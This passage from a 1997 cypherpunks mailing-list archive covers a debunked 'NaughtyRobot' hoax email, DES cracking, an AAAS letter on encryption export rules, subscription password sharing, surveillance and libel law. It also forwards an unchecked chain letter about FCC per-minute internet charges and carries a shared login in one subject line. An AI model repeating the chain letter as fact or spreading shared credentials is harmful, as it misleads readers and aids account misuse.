Don't panic.  It's just a hoax.  Lots of other people have received it.
The hoaxer got your address somewhere off the Internet (maybe Usenet,
maybe your web page) and sent you the email. 


At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote:
>HELP! Can anyone tell me what this message is that I received in my mail
>today? Is it real? Should I do as it suggests? I have used the Internet
>once to purchase some books? Was my credit card number stolen in the
>process? How did this happen and how will it affect me? What should I do?
>PLEASE ADVISE ASAP! Thank you for your help
>Ellen Iwasaki
>Kumamoto, Japan
>
>> From: eiwasaki@gol.com
>> Date: Wed, 19 Feb 97 02:27 CST
>> Apparently-From: eiwasaki@gol.com
>> Apparently-To: eiwasaki@gol.com
>> Reply-to: eiwasaki@gol.com
>> Registered-mail-reply-requested-by: eiwasaki@gol.com
>> Sensitivity: PERSONAL-CONFIDENTIAL
>> Precedence: EMERGENCY
>> Priority: URGENT
>> Comment: Authenticated sender is <eiwasaki@gol.com>
>> Organization: NaughtyRobot
>> Subject: security breached by NaughtyRobot
>>
>> This message was sent to you by NaughtyRobot, an Internet spider that
>> crawls into your server through a tiny hole in the World Wide Web.
>>
>> NaughtyRobot exploits a security bug in HTTP and has visited your host
>> system to collect personal, private, and sensitive information.
>>
>> It has captured your Email and physical addresses, as well as your phone
>> and credit card numbers.  To protect yourself against the misuse of this
>> information, do the following:
>>
>>         1. alert your server SysOp,
>>         2. contact your local police,
>>         3. disconnect your telephone, and
>>         4. report your credit cards as lost.
>>
>> Act at once.  Remember: only YOU can prevent DATA fires.
>>
>> This has been a public service announcement from the makers of
>> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Feb 1997 17:26:53 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702210126.RAA26465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 19 Feb 1997, Adam Back wrote:

> Have there been any sightings of your code outside the US?
> 
> Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
> things often turn up, but I haven't seen it yet.

Last time I checked, deskr06i.zip, which I believe is the correct filename,
was in /pub/incoming.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMwzm9yzIPc7jvyFpAQHeggf9HN1XnB1pWdwfsDPptMCCJdq6whdDlac/
W2In+Yzxro7n+RyCYdPFHXldlCFDh/st6SbL90XFQp2kS7Mg7Zu7BtgMRuUOugqk
LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t
guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN
BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql
wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg==
=LePS
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Feb 1997 17:26:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kiss the Toad
Message-ID: <199702210126.RAA26454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The news wads we've been posting will appear in the cpunk
mail dumpster.

Or, we'll e-mail them to anyone who unsubs but wants
the stuff.

Send us a blank message with subject: DUM_pit

-----

Thanks to JG for princely service, a kiss to the toad.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Thu, 20 Feb 1997 19:11:03 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702210311.TAA28160@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, Adam Back wrote:

> 
> Peter Trei <trei@process.com> writes:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > There may be a distributed Internet crack using that approach, 
> > > though DES is still very inefficient on general-purpose computers and 
> > > works better on bit-twiddliing chips.
> > 
> > There's one slowly shaping up, organized by the same people who did 
> > the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> > which is already underway.
> 
> The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
> and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
> particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
> I'm having a heck of a time talking him out of it.

http://zero.genx.net/ is going at it as well - and whoever finds the key
gets the prize.

What's wrong with EFF/GNU?

-- Elliot Lee
   http://www.redhat.com/             http://www.linuxexpo.org/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 22:26:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights"
Message-ID: <199702210626.WAA01288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 23:02:43.31
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 20 Feb 1997 14:16:54 -0500
From: afowler@aaas.org (Alex Fowler)
Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights

What follows is a copy of the letter sent under the signature of AAAS' 
Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items.  The letter expresses our concern that the 
current federal policy with regard to encryption raises serious questions 
for both scientific freedom and human rights work.  In addition, it marks 
the first time that the Association has weighed in on the crypto debate at 
this level.

Sincerely,
Alex Fowler
AAAS Scientific Freedom, Responsibility
and Law Program



                      American Association for the Advancement of Science
                          1200 New York Avenue, NW, Washington, DC, 20005

     
February 7, 1997

Ms. Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
14th Street and Pennsylvania Ave., NW, Room 2705
Washington, DC 20230


Dear Ms. Crowe:

On behalf of the American Association for the Advancement of Science 
(AAAS), the world's largest general scientific society, I am responding to 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items, published in the Federal Register, December 30, 
1996.  Before commenting directly on specific provisions of the Interim 
Rule, it is important to make the point that its basic thrust threatens to 
undermine essential features of scientific freedom and the open exchange of 
information that are generally acknowledged as critical to innovation in 
science and technology and are responsible in large part for the 
preeminence of America's research and development enterprise.  AAAS opposes 
attempts by the government to restrict the communication or publication of 
unclassified research and technical information, efforts which we believe 
are inconsistent with scientific advancement.  We are also concerned that 
certain provisions of the Interim Rule will adversely affect the effective 
use of information technologies in efforts to protect and promote human 
rights.

Many of our members in the academic community have legitimate concerns that 
teaching courses on cryptography appears to violate the Interim Rule if 
foreign students are enrolled in such courses.  Such a control seems to be 
inadvertent, since Part 744.9 states that "mere teaching or discussion of 
information about cryptography ... by itself would not establish the intent 
described in this section, even where foreign persons are present."  
However, Parts 734.3(b) and 734.9 place controls on all "educational 
information" applying to encryption software controlled under ECCN 5D002, 
and "Educational information" is defined as "release by instruction in ... 
academic institutions."  This matter requires further clarification to 
avoid any unnecessary chilling effect on our educational process.

Currently, part 734.3 (b)(3) of the EAR posits a difference between the 
paper and electronic publication of the same cryptographic materials.  
While it is acceptable under this provision to publish such material in a 
book and distribute it internationally without an export license, putting 
the same information on a disk and sending it abroad is subject to EAR 
approval.  This distinction has serious ramifications for scholarly 
communication as many professional journals are now moving onto the 
Internet as electronic publications.  Will cutting-edge innovations in 
cryptography be publishable in this new medium?  Consider the following 
example: the full text of Science magazine, the major peer reviewed journal 
published by AAAS, is currently available in both print and electronic 
formats.  According to the cited part in the EAR, an article accepted for 
publication on a new cryptographic algorithm would be acceptable in the 
print version of the publication.  However, because the electronic version 
is available to people outside the U.S., to comply with EAR, the journal 
would either have to be published without this article or substantial parts 
omitted.  Scientific publications are crucial to the advancement of science 
and technology and form a primary source of communication among researchers 
worldwide.  Restrictions that limit potential collaborations and channels 
of communication into new and innovative cryptographic products will not 
only impede scientific progress, but will also retard the evolution of a 
secure Global Information Infrastructure.

AAAS has encouraged the development of ethical standards by scientists to 
encourage responsible conduct and to establish accountability to a 
supportive public.  The codes of professional conduct promulgated by the 
largest and most important U.S. professional engineering and computing 
societies all stress the importance of protecting established cultural and 
ethical norms of information privacy and data integrity.  For example, the 
American Society of Information Science's Code of Ethics for Information 
Professionals mandates that its members "uphold each user's, provider's or 
employer's rights to privacy" and resist "all forms of censorship" in 
carrying out their responsibility "to improve, to the best of their means 
and abilities, the information systems in which they work or which they 
represent."  The Interim Rule would compel these scientists and engineers 
-- as employees of major software and hardware computing companies -- to 
produce information security systems that are intentionally weak for 
international markets.  This would create an ethical dilemma for the 
professional.  He is bound by his responsibility to honor the ethical norms 
agreed upon by his profession, but as a citizen of the U.S., he is also 
bound by his responsibility to act according to these federal regulations.  
The government should avoid whenever possible creating circumstances where 
professionals must make such choices.

AAAS provides technical assistance to human rights groups on the design and 
development of information management systems for large-scale human rights 
data collection and analysis.  This process concentrates politically 
volatile information in computers, such as the names of witnesses to 
military massacres in Guatemala who could be subjected to intimidation, 
harassment, or murder by those intent on preventing the public discussion 
and analysis of the information.  Such a system must be protected by strong 
cryptography. 

In our human rights work, we have observed the growing importance of 
non-governmental monitoring of state compliance with international human 
rights agreements as the first line of defense a civil society has against 
abusive regimes.  By documenting and publicizing analyses of abusive 
behavior by governments, non-governmental human rights organizations 
provide a fundamental check on state repression.  In order to be effective, 
human rights monitoring organizations must function with a high level of 
confidentiality.  They must protect the people who give them information 
about state violations of human rights.  Similarly, organizations must 
protect their own staff, many of whom may not be openly associated with the 
organization.

As an increasing proportion of human rights work is supported by the use of 
information technology, cryptographic techniques, including but not limited 
to encryption, have become immensely more important.  Organizations that 
concentrate valuable, dangerous information in databases on hard disks must 
be able to protect them from local authorities, who may be the subjects of 
human rights investigations.  Human rights groups communicating their 
findings with collaborating organizations in other countries must be able 
to transmit their information securely.  

The sending organization must include sufficient information so that the 
receiving organization can verify the claims.  If the information needed to 
verify the claims were intercepted, it could put the claimants in very 
serious danger.  Using strong cryptography, human rights organizations can 
communicate their findings without putting informants or staff at 
additional risk.

These are only a few examples of the compelling need for strong 
cryptography by human rights organizations.  The licensing provisions in 
the Interim Rule permit only inadequate technology for the fundamental, 
democratic needs of non-government human rights organizations.  Part 742.15 
of the Interim Rule suggests three categories of weak or unsafe encryption 
that are eligible for accelerated licensing: (1) includes 40-bit products 
called "mass market encryption software"; (2) permits key recovery 
products; and (3) allows non-recovery encryption items using the DES 
algorithm with 56-bit keys.  

Provisions (1) and (3) are equally untenable for human rights purposes 
because they authorize only products known to be breakable with available 
and inexpensive technology.  Provision (2), key recovery, is equally 
unsatisfactory for human rights organizations.  If keys can be recovered by 
the U.S. government, why should human rights organizations whose entire 
function is defined by abusive governments trust that their information 
will remain secure?  Given past and ongoing AAAS work in countries such as 
Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of 
particular concern to us.

In view of these concerns, we urge the Bureau of Export Administration to 
amend the Interim Rule in favor of a more open exchange of ideas and 
information relating to cryptography.  We believe this would advance the 
nation's interests in a manner consistent with the values that are 
responsible for America's widely admired scientific achievements and its 
enduring democratic traditions.
                                           
Sincerely,


Richard S. Nicholson

cc:
John H. Gibbons
Mary L. Good
Orrin G. Hatch, Chair, Senate Judiciary Committee
Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee
Jesse Helms, Chair, Senate Foreign Relations Committee
Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations 
  Committee
John McCain, Chair, Senate Commerce, Science, and Transportation 
  Committee
Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science 
  & Transportation Committee
Conrad Burns, Member, Senate Commerce, Science, and Transportation 
  Committee
Tom Bliley, Chair, House Commerce Committee
John D. Dingell, Ranking Minority Member, House Commerce Committee
Bob Goodlatte, Member, House Commerce Committee
Henry J. Hyde, Chair, House Judiciary Committee
John Conyers, Jr., Ranking Minority Member, House Judiciary Committee
Benjamin A. Gilman, Chair, House International Relations Committee
Lee H. Hamilton, Ranking Minority Member, House International 
  Relations Committee
F. James Sensenbrenner, Jr., Chair, House Science Committee
George E. Brown, Jr., Ranking Minority Member, House Science Committee
Kenneth C. Bass, III, Esq.
Ann Beeson, Esq.
Cindy A. Cohn, Esq.
Gino J. Scarselli, Esq.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
For more information, contact:
Alexander Fowler or Patrick Ball
Directorate for Science and Policy Programs
1200 New York Avenue, NW
Washington, DC  20005
(202) 326-6600; Fax (202) 289-4950
afowler@aaas.org or pball@aaas.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 20 Feb 1997 22:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: user: cypherpunks, password: cypherpunks
Message-ID: <199702210626.WAA01280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



     
                     Content Sites Vexed By Password Abuse
                                       
  The high cost of subscribers sharing log-ons
  
     By Whit Andrews 
     Playboy magazine even has a term for it: "frat-house syndrome." Just
     as readers might pass around a magazine or a copy of a newsletter
     among themselves-- why buy multiple copies when you can see it
     after the guy down the hall is finished?-- Internet users often
     freely share access to their electronic subscriptions.
     The difference is that the number of people who can use a magazine
     or newsletter simultaneously is finite--limited to, say, a
     workgroup or the number of people who can comfortably fit onto a
     couch.
     On the Web, that expands to the number of people worldwide who can
     hunker in front of their monitors, printers, and personal digital
     assistants.
     "We did have one situation where a person posted a link to a story,
     and with it a user ID and password, on the Web, so people could get
     into it," said Tom Baker, business director of The Wall Street
     Journal Interactive edition. "He just thought it was an interesting
     story." Baker said that user seemed somewhat naive about the
     profound flouting of copyright law in which he was engaging, and
     several content providers have reported similar anecdotes involving
     clueless users.
     "I even have people we do business with say, 'Oh yeah, I got a
     password for our office,'" said Kenneth Dotson, vice president of
     marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based
     sports site with members-only content areas. "I've had that happen
     two or three times now." The problem of subscribers treating their
     privileges as a commodity that they can give away is particularly
     vexing to Web content sites, which have in most cases crossed a
     difficult hurdle in graduating to a model supported at least to
     some extent by subscription fees.
     Losing those usually low fees to user abuse is thus doubly
     frustrating.
     "We're here trying to make money," said Jay Froscheiser, corporate
     Webmaster at Data Transmission Network Corp., an Omaha, Neb.,
     online service creating new products on the Web with prices ranging
     from $20 to $50 monthly for access. "Serving 10 people on an
     account, we can't make money." DTN's solution is to use cookies,
     the tidbits of information that sites can store in browser files to
     track users' preferences and identities. If subscribers want to
     change browsers or access information from a different computer,
     they have to call DTN and set up the switch.
     Froscheiser said some subscribers complain that the system is too
     Draconian. For example, while many of the farmers who use
     agricultural information services have only one computer to work
     with, others whose work situations make them more itinerant are
     frustrated by their inability to log on from home, work, and
     elsewhere.
     But without exact statistics, it's DTN that is inconvenienced,
     because its deals with content providers are generally based on the
     number of subscribers who access the providers' services through
     DTN, Froscheiser said. "We have to have 100 percent accountability
     for how many people per service there are." Other content
     providers, whose prices are generally lower and are often defrayed
     by advertising to generate revenues, have adopted innovative ways
     to lure subscription cheats into ponying up the price to join.
     SportsLine, for instance, automatically enters members in all
     giveaways and promotions, whereas casual users have to key in their
     information manually. Subscribers can personalize their pages to
     allow them to follow special sports and teams.
     Dotson said such gentle measures are intended to make it more
     attractive to be a member than to use someone else's account, and
     are the only step likely for the company, at least into the near
     future.
     "The environment of the Web doesn't really allow you to police it,"
     he said, and after all, the company has enough of a revenue stream
     from ads to make extra users less of a burden. "We say, 'Okay, not
     much we can do about it, we'll just enjoy the extra page views.' "
     sitewide licenses Other companies whose information is more likely
     to be passed among office workers who share business interests
     rather than sports conversations are aggressively pursuing sitewide
     licenses and lower prices.
     The Wall Street Journal Interactive offers deals to offices that
     allow users to sign up, not with a credit-card number, but with a
     company ID number. Lexis-Nexis does not allow individual licenses,
     but prices its Web services based on how many people there are in
     the office instead.
     All of the content providers agreed that they would prefer other
     methods of controlling distribution, but that barring technological
     advances of significant proportion, they're stuck with what they've
     got.
     "Our strategy is not to implement a solution that's worse than the
     problem," said Wall Street Journal Interactive's Baker of encrypted
     document schemes and micropayment models. "If there were a way to
     protect our information that didn't put an onerous restriction on
     our subscribers reading it, we'd do it." Eileen Kent, vice
     president, new media division of Playboy Enterprises Inc. in
     Chicago, echoed the sentiment. Until technology improves, she said,
     content providers need to assume that there will be some improper
     use of memberships.
     "I think the technology will find solutions," she said. "But until
     then, it's just a cost of doing business."
       ______________________________________________________________
     
     Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 )
     Mecklermedia Corp. All rights reserved. Keywords: content
     electronic_commerce Date: 19970217 
     
                           http://www.iworld.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Reed <darrenr@cyber.com.au>
Date: Thu, 20 Feb 1997 19:11:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Correct paranoia about evesdropping.
Message-ID: <199702210311.TAA28161@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't read cypherpunks any more, and this may have already been
mentioned but it can't hurt to be pushed again.

Whilst not directly related to cryptography, if any of you saw the
chapters from "Secret Power" posted to best-of-security, know that
that particular book is well worth reading.  Of interest to those
who are concerned for privacy from snooping:

* NSA/DSD/CSE/etc (same type of organisation in different countries)
  use ground stations around the globe to intercept satellite to ground
  transmissions, have a network of computers built up to scan all telexes,
  faxes and even some internet traffic for known keywords in real time;

* there exist computers which can process speech in real time and scan
  for known text/words;

* embassies are popular "listening posts", as are buildings "along route"
  of microwave transmissions;

No mention is made about what their capacity is to decrypt data, but
encrypted data is analysed (e.g. high level Russian stuff).

The book has been extensively researched, with an appendix of all the
sources where relevant (i.e. newspapers articles, etc).  Photographs
of many overseas "bases" are included (e.g. Yakima in Japan).  Heck,
I live less than 1km from one of the sites photographed!

It's not an attractive book, but informative and good reading.

A quote from the book, talking about agent activities and involvement
in surveilence operations: "There is no evidence of a UKUSA code of ethics
or of a tradition of respect for Parliament or civil liberties in their home
countries.  The opposite seems to be true: that anything goes as long as you
do not get caught. Secrey not only permits but encourages questionable
operations."  The extent of the secrecy around the subject matter in the
book is best represented by the comments of a former New Zealand
Primeminister' foreword which admits that he was unaware of many details
in the book but not which ones.  I imagine it would be likewise enlighening
to many recent politicians of high station...

So, in summary, paranoia about being listened to is well formed, especially
if you're involved in overseas communications.  Just assume it is being
"tapped" if it is in clear text and you'll save yourself a lot of worrying
about the "might-be" factor.

"Secret Power"
ISBN 0-908802-35-8
Craig Potton Publishing,
Box 555, Nelson
New Zealand.
First publishing 1996, reprinted 1996.
Approximate cost AUS$35 (inc. freight)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 19:32:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: public_law_other_650.html
Message-ID: <199701280332.TAA15473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




[ISMAP]  [INLINE]

   Libel and Slander
   
   
   Tape #650
     _________________________________________________________________
   
   On this tape I will discuss libel and slander. It is for your general
   information only. It is not legal advice. It will give a general
   outline of the law on the subject as it applies in Ontario. If you
   have a legal problem, you should talk to a lawyer.
   
   We all have the right to have our reputation protected against false
   statements made against us. This protection is given to us by the law
   of defamation. On this tape I'll talk about defamation in both its
   forms - libel and slander. Libel can be a crime, but this section of
   the Criminal Code is rarely used, so I'll talk about libel and slander
   only in their civil context - the person defamed suing the defamer;
   asking for money as compensation for the injury to his reputation.
   
   
   Generally speaking, a defamatory statement is one which tends to lower
   a person in the estimation of right-thinking members of society. For
   example, if someone calls you a cheat in your business dealings, you
   probably have a lawsuit against him. That is, you do if he says it to
   someone other than you. It's not enough that the statement be made to
   the person it's about. It has to be communicated to another.
   
   
   What's the difference between libel and slander? Broadly speaking, if
   the defamatory statement is made in some permanent form, such as a
   newspaper or a letter, then it's libel. If it's in a transitory form,
   such as a hand gesture or the spoken word, then it's slander. But a
   defamatory statement that's broadcast on radio or television will be
   libel, not slander, even though it's spoken and not written.
   
   
   In the past, there was a good reason to know the difference between
   libel and slander. Today, if you can prove that you have been
   libelled, and there is no good defence, then the law will presume you
   have suffered damages and will fix an amount as compensation for your
   loss of reputation. In other words, you do not have to prove damages
   for actual financial loss.
   
   
   For many years, in cases of slander, you had to prove actual financial
   loss before you would be awarded damages under the law. In part, this
   was because slanderous statements were not considered permanent and
   therefore would not have as great an impact as libellous words,
   gestures or portrayals.
   
   
   Today, under the Ontario Libel and Slander Act, the requirement to
   prove damages in slander cases has been removed in certain situations.
   Mainly, these include cases where words are chosen to call into
   question the reputation of a person in relation to that persons
   office, profession, calling, trade or business. Therefore, if you
   could prove that Bill told John you were a cheat and then John refused
   to enter into a contract with you because of the statement, you would
   be compensated for the loss of contract and reputation. You would have
   to prove it was Bill's intention to attack your business reputation,
   but otherwise, damages would be awarded outright.
   
   
   Unfortunately, the Ontario Libel and Slander Act does not remove
   completely the requirement to prove damage, in all slander cases.
   Therefore, it is important to discuss your case with a lawyer to
   determine how yours would be treated under the law.
   
   We said earlier that the law protects a person's reputation. But
   obviously this protection can have the effect of restricting other
   rights, such as free speech. So the law tries to balance these
   competing interests. In certain circumstances, even though a
   defamatory statement may have been made and a person may have suffered
   injury to reputation, other interests are considered more important.
   In those cases, the law provides certain defences that can protect a
   defamer from liability.
   
   
   The most common defences are: truth (known in law as "justification");
   absolute privilege; qualified privilege; and fair comment.
   
   
   The first is the easiest. A statement might well lower your
   reputation, but if it is the truth then anyone is free to say it.
   Additionally, if you consent to the statement being made, you cannot
   later argue you have been defamed.
   
   
   The second defence - that of absolute privilege - covers statements
   given in evidence at a trial, or made in Parliament, to give the two
   prime examples. And it extends to the fair and accurate reporting of
   those statements - the newspaper report of a trial, for instance. Our
   systems of justice and parliamentary democracy demand that in those
   situations participants must be free to speak candidly, without having
   to worry about risking a lawsuit for defamation.
   
   
   The defence of qualified privilege covers other situations. For
   instance - say a former employee of yours has given your name as a
   reference, so you get a call from someone who wants to hire him. He
   asks your opinion. You say: "Well, frankly, I always suspected he was
   stealing from me." That's an occasion of qualified privilege . You had
   a moral duty to give your honest opinion and the caller had a
   legitimate interest in hearing it. As long as you acted in good faith
   and said what you honestly believed you would have a valid defence to
   an action for defamation.
   
   
   Finally, there's the defence of fair comment. We are all free to
   comment freely - even harshly - on matters of legitimate public
   interest as long as our comments are made honestly, not maliciously,
   and are based on true facts. For example, say a columnist writes that
   an MP secretly holds shares in a company which has just got a large
   government contract. Then he comments that the MP is deceitful and
   should resign his seat. Well, if in fact the MP owns no shares in the
   company, then the columnist may be open to a lawsuit. But if the facts
   are true, that is the MP does own the shares, and the columnist
   honestly believes bases on those facts that the MP is deceitful and
   should resign, then he will have the defence of fair comment.
   
   
   If you intend to sue for a libel in a newspaper or a broadcast you
   must give notice to all those you intend to sue within six weeks of
   learning of the publication or broadcast, and you must specify in your
   notice the nature of your complaint, with specific reference to the
   actual words of which you complained. As well, you must commence your
   action within three months of learning of the publication or the
   broadcast. Failure to conform with either of these two steps will
   deprive you of any right to sue.
   
   In cases not involving newspapers or broadcasts, you must commence
   your action against the defaming party within 2 years of the words
   being spoken or written.
   
   
   Finally, there's the matter of apology. When a libel has been
   published in a newspaper or other periodical, or in a radio or
   television broadcast, the publisher or broadcaster can limit the
   amount of the damages the broadcaster may end up paying by publishing
   or broadcasting a full apology at the earliest opportunity. Not only
   newspapers and broadcasters can limit their damages by offering an
   apology before the action begins. Any defaming party can offer an
   apology in the hopes of having their damages reduced.
   
   
   The law of defamation protects your right to your good name. If a
   person makes a false statement to another to your discredit you can
   sue for damages. But because of other competing rights in our society,
   such as free speech and fair comment, there are cases where even the
   most defamatory statement will not give rise to an award of damages.
   If you think you have been defamed, you should talk to a lawyer.
   
   Home   Search   Feedback   What's New   Copyright & Disclaimer   About
   This Site





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 19:32:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel/slander & crypto relevancy
Message-ID: <199701280332.TAA15454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.

Consider a trial where a person is purported to have altered a transmission
by some party. It is not in the juries best interest to rule in the favor of
anyone other than the person claiming the damage. Why you might ask? Simply
because they are going to see themselves in that same situation and will
want to know that they are protected both in spirit as well as actuality.
What company will want to use an environment where their contracts and other
exchanges can not only be viewed by unknown third parties but are subject to
a man in the middle attack, potentialy ruining a company. Consider the
ramifications in a political venue. Now some will quickly point out that
they can encrypt the entire document, hardly suitable for web pages and
other forms of advertisment. I predict that within the next five years these
slander/libel laws will be used by some organization to prosecute defamation
of their Internet presence (eg web page graffitti). Within 10 years this
area will be one of the hotest areas of the new communications law.

Now some have held that list operators and such will be protected, most
probably not in reality. Consider, we live in a time where a person can get
drunk and kill somebody with their automobile and the bar or store they
bought the drink(s) from can be charged. There is a current trend in the
legal industry to find the person that is easiest to prosecute in the chain
of events and it has nothing to do with personal responsibility or other
quaint but possibly naive views.

I want to thank Toto for acting as the unknowing and unwilling dupe in my
taking advantage of his emotional outburst and its results, it wasn't
personal I was simply trying to create a suitable environment to make
my point. It was a happenstance occurance I could not resist taking
advantage of. It is clear that here we have a lawyer in Canada who is not
even aware that there is a little used criminal statute in the country he
practices in which could be used by citizens sufficiently motivated and
having suitable quantities of cash at hand to pursue the matter. This is
not a unique occurance by any means, consider the outburst from some list
members, supposed legal experts, over some of the references that I
forwarded (not what I would call a consistent understanding of the law by
any stretch of the imagination). The reality is that the legal industry
(after all the main motivation for the legal profession is money) has a
serious lacking in trained individuals. This should be a warning sign to
everyone in any society which has hopes of embracing communications 
technology. Lawyers don't make law, they survive by taking their views of
the law and convincing juries of from 6 to 12 (YMMV) persons that this is
the way to protect 'society' and its best interests. If they don't
understand the technology (eg forwarding private email to publicly
accessible lists by accident) how in the world are they going to understand
what is best, let along convince anyone else? Is this the kind of
self-interest you want to trust your criminal communications case, let alone
your liberty, to?

It has been proposed by at least one party that a district attorney or other
public prosecutor would not act on such events. This is also naive. The
ramifications for their political opponents to use this 'insensitive and
clearly self-interested' refusal to act as a perfect example of how that
prosecutor is interested in their own political career and not in the
interest of the people they are charged with protecting as well as a good
demonstration of their technological ignorance. It would be very difficult
to get re-elected in such an environment.

Now the crypto relevancy, one of the methods to help reduce if not
completely abort such attempts is digital signatures. Recently a couple of
co-workers for Tivoli-IBM went to the Usenix conference and while there did
some key signings. However, after discussion upon their return it was clear
that having had their keys signed and signing others there was no clearly
useful way to apply those keys in commen communications. Last year the
Austin Cypherpunks did a short term experiment with a system
(kourier.ssz.com) which was involved in encrypted file systems, encrypted
transfers, traffic analysis, and heterogenous key-ring management. This also
made it clear that the legal ramifications, economic issues (eg who pays) as
well as the technical hurdles have not been studied sufficiently to call this
technology mature.

All that I ask is that instead of jumping the gun and saying 'it ain't so'
you simply consider the ramifications from 'their' perspective. It truly is
amazing what one can learn by walking a mile in another mans shoes. For if
there is one truth to be learned it is that this discussion is not about how
it is, but rather how it will be and how it should be.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Reply to <isp@fcc.gov>
Date: Tue, 11 Feb 1997 06:11:40 -0800 (PST)
To: Internet.Users@crl.com
Subject: FCC may impose per minute charges on internet
Message-ID: <199702111411.GAA19324@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>
>>I am writing you this to inform you of a very important matter currently
>>under review by the FCC. Your local telephone company has filed a
>>proposal with the FCC to impose per minute charges for your internet
>>service. They contend that your usage has or will hinder the operation
>>of the telephone network.
>>
>>It is my belief that internet usage will diminish if users were required
>>to pay additional per minute charges. The FCC has created an email box
>>for your comments, responses must be received by February 13, 1997. Send
>>your comments to isp@fcc.gov and tell them what you think.
>>
>>Please forward this email to all your friends on the internet so all our
>>voices may be heard.
>>
>>Thanks for your time,
>>
>>Brian
>>
>>______________________________________________________________________________









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
